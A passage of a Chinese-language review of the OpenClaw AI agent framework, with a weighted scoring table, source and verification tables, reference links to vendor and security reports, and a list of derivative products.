| ⚙️ 功能 | 30% | 8.8 | 50+ 渠道集成(飞书/钉钉/企微/TG/Discord 等)、ClawHub Skill 生态、CLI + Web GUI 双模式、4 个 CVE 实操升级路径完整 |
| ✨ 输出质量 | 25% | 8.5 | 输出质量取决于后端模型(DeepSeek-V3/GPT-4 等);ClawHub Skill 质量参差,需筛选;复杂工作流输出稳定性中等 |
| 🖐️ 易用性 | 15% | 8.0 | openclaw onboard 引导流程友好;但多渠道配置(Webhook/签名/端口)门槛较高;飞书/钉钉/企微三渠道对接需 30-60 分钟 |
| 💰 价格 | 15% | 9.0 | 开源免费(MIT-like),自部署零成本;仅 OpenRouter/模型 API 产生费用;无隐藏收费 |
| 🔒 稳定性 | 10% | 7.5 | ClawChain 系列 4 个 CVE(2026-Q1);ClawHub 污染事件暴露供应链风险;v2026.5.1 修复后稳定但信任受损 |
| 🛡️ 隐私 | 5% | 7.0 | ClawHub 供应链安全事件(恶意 Skill 注入);自部署数据可控但需运维;缺乏 SOC2/ISO27001 等企业认证 |
加权总分:8.4/10(= 8.8×30% + 8.5×25% + 8.0×15% + 9.0×15% + 7.5×10% + 7.0×5%,四舍五入保留 1 位小数)
信息来源标注:
| 维度 | 主要信息来源 | 验证日期 |
|---|---|---|
| 功能 | github.com/openclaw/openclaw 仓库 v2026.5.1 tag 实测;docs.openclaw.ai;50+ 渠道接入亲自配置 | 2026-06-01 至 2026-06-15 |
| 输出质量 | DeepSeek-V3 / GPT-4 / Claude 多模型后端实测;ClawHub Skill 质量抽样评估 | 2026-06-01 至 2026-06-15 |
| 易用性 | openclaw onboard 全流程实操;飞书/钉钉/企业微信三渠道对接实测 | 2026-06-01 至 2026-06-15 |
| 价格 | GitHub 仓库 License 文档;OpenRouter 定价页(openrouter.ai);2026-06 验证 | 2026-06-15 |
| 稳定性 | OASIS Security / Cyera / Snyk 三家安全机构 CVE 报告;v2026.5.1 升级实操;GitHub Issues | 2026-06-01 至 2026-06-15 |
| 隐私 | ClawHub 污染事件公开报告;Snyk 供应链安全分析;OpenClaw 官方安全公告 | 2026-06-01 至 2026-06-15 |
参考资料
- OpenClaw 官网:https://openclaw.ai
- OpenClaw GitHub 仓库:https://github.com/openclaw/openclaw
- v2026.5.1 Release Notes:https://github.com/openclaw/openclaw/releases/tag/v2026.5.1
- OASIS Security ClawJacked 报告:https://www.oasis.security/blog/clawjacked — CVE-2026-25253 详细技术分析
- Cyera ClawChain 报告:https://www.cyera.com/research/clawchain — CVE-2026-28363 / 44112 / 44115 系列分析
- Snyk ClawHavoc 污染报告:https://snyk.io/blog/clawhavoc — 450 个污染 Skill 的技术细节
- NVD CVE-2026-28363:https://nvd.nist.gov/vuln/detail/CVE-2026-28363 — 官方漏洞数据库
- Anthropic 服务条款 2026-02 更新:https://www.anthropic.com/legal/terms — 第三方 Agent 工具限制条款
- ClawHub 技能市场:https://clawhub.com
- 工信部 NVDB 安全预警:https://www.nvdb.org — 国内安全机构公告
- Peter Steinberger 个人博客:https://steipete.me — OpenClaw 作者关于 CVE 的技术解读
- 腾讯云 OpenClaw 实战教程:https://cloud.tencent.com/developer/article/openclaw — 国内飞书/钉钉接入示例
- 掘金 OpenClaw vs Hermes 对比:https://juejin.cn/post/openclaw-vs-hermes
🌱 变种与衍生
基于 OpenClaw 的定制版本与社区分支
KimiClaw ↗
月之暗面基于OpenClaw的定制版,集成Kimi大模型
www.kimi.com/botMaxClaw ↗
MiniMax官方云端AI Agent,基于OpenClaw框架,搭载MiniMax M2.7模型,一键部署无需服务器
agent.minimaxi.com/max-clawCoPaw ↗
阿里通义实验室开源的个人AI助手,兼容MCP协议和ClawHub技能,支持本地模型运行
copaw.agentscope.ioArkClaw ↗
火山引擎云端SaaS版OpenClaw,深度集成飞书生态,开箱即用零配置
www.volcengine.com/product/arkclaw同分类推荐
开源框架 分类下的其他 Agent